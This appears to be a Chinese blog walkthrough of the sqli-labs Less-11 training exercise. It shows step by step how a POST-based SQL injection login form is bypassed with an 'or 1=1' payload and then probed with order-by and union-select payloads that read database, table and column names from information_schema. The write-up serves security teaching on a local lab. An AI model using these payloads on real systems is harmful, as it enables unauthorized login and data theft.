目 录CONTENT

文章目录

sqli-labs系列——Less-11

CZ
CZ
2023-06-10 / 0 评论 / 0 点赞 / 354 阅读 / 2959 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

这篇文章介绍了如何对一个POST注入类型的SQL注入漏洞进行利用,示例漏洞为Less-11。作者先通过尝试万能密码操作,成功跳过了登录步骤。接下来通过执行order by语句,判断了该漏洞的查询字段数和显错位。然后作者通过联合查询信息模板原理,利用information_schema检索出当前数据库名和所需数据表名、列名,最后通过查询语句获得相应数据。

前言

首先大家第一眼看到这个题目是不是发现它跟我们以往做的题目有所不同,他的传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的,那么就让我们开始今天的实验。

前期准备

开启phpstudy,开启apache服务以及mysql服务

打开ASCII表 图片-1686619451321

实验环节

浏览器访问Less-11

http://127.0.0.1/sqli-labs-master/Less-11/

图片-1686362001211

尝试万能密码

'or 1=1 -- xz
#需在登录框里输入该命令

图片-1686362201350

判断字段数

'or 1=1 order by 1 -- xz
#页面正常回显
'or 1=1 order by 2 -- xz
#页面正常回显
'or 1=1 order by 3 -- xz
#页面异常,说明字段数是2

图片-1686362388935

判断显错位

'union select 1,2 -- xz

图片-1686362562569

判断库名

'union select 1,database() -- xz
#可得出我们的库名是security

图片-1686362707246

判断表名

'union select 1,table_name from  information_schema.tables where table_schema='security' -- xz
#说明我们的表名是emails

图片-1686363213747

判断列名

'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- xz
#说明我们的列名是id

图片-1686363284148

判断数据

'union select 1,id from emails-- xz
#说明我们emails下的id列的数据是1

图片-1686363486012

0

评论区